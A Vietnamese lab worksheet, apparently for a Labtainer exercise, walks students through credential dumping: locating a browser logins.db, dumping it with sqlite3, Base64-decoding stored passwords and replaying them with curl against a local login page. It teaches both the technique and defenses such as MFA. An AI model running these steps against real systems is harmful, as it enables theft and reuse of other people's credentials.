Mục Tiêu

Bài lab này giúp bạn hiểu và thực hành kỹ thuật Credential Dumping, tức là cách lấy thông tin đăng nhập từ hệ thống hoặc cơ sở dữ liệu. Bạn sẽ học cách tìm file chứa thông tin người dùng, dump dữ liệu, giải mã mật khẩu, và thử đăng nhập vào hệ thống. Quan trọng hơn, bài lab giúp bạn nhận ra các lỗ hổng bảo mật và cách bảo vệ hệ thống bằng mã hóa mạnh hoặc xác thực đa yếu tố (MFA).

Chuẩn Bị

* Kiến thức cơ bản về bảo mật mạng và kỹ năng sử dụng công cụ bảo mật như sqlite3 và curl.
* Hiểu biết về cơ sở dữ liệu SQLite.
* Tuân thủ đạo đức trong bảo mật: Chỉ thực hành trong môi trường lab được phép, không áp dụng vào hệ thống thực tế mà không có sự cho phép.
* Khả năng phân tích rủi ro bảo mật và đề xuất biện pháp phòng ngừa, chẳng hạn như mã hóa mật khẩu và xác thực đa yếu tố (MFA).

Các Bước Thực Hành

1. Khởi Động Lab

1. Mở terminal trên Ubuntu, gõ:

labtainer pen\_bsic\_credentialdump

1. Nhập mã sinh viên

Task 1: Tìm File Cơ Sở Dữ Liệu

1. Dùng lệnh find để tìm file logins.db chứa thông tin đăng nhập:

find /home/ubuntu -name logins.db

1. Kết quả sẽ ra đường dẫn: /home/ubuntu/.mozilla/firefox/test-profile/logins.db. Note lại đường dẫn này.

Task 2: Dump Dữ Liệu và Giải Mã Mật Khẩu

1. Mở file cơ sở dữ liệu bằng sqlite3:

sqlite3 /home/ubuntu/.mozilla/firefox/test-profile/logins.db

1. Xem danh sách bảng:

.tables

1. Dump dữ liệu từ bảng tìm được:

SELECT \* FROM {tên bảng};

1. Giải mã mật khẩu Base64:

echo "{mật khẩu}" | base64 -d

Thoát sqlite3 bằng .quit.

Task 3: Thử Đăng Nhập và Phân Tích

1. Dùng curl để thử đăng nhập vào web:

curl -X POST -d "username={tên user}&password={mật khẩu}" http://localhost/login.php

1. Check phản hồi: Nếu thành công, bạn được cấp quyền truy cập.

Kết Thúc

stoplab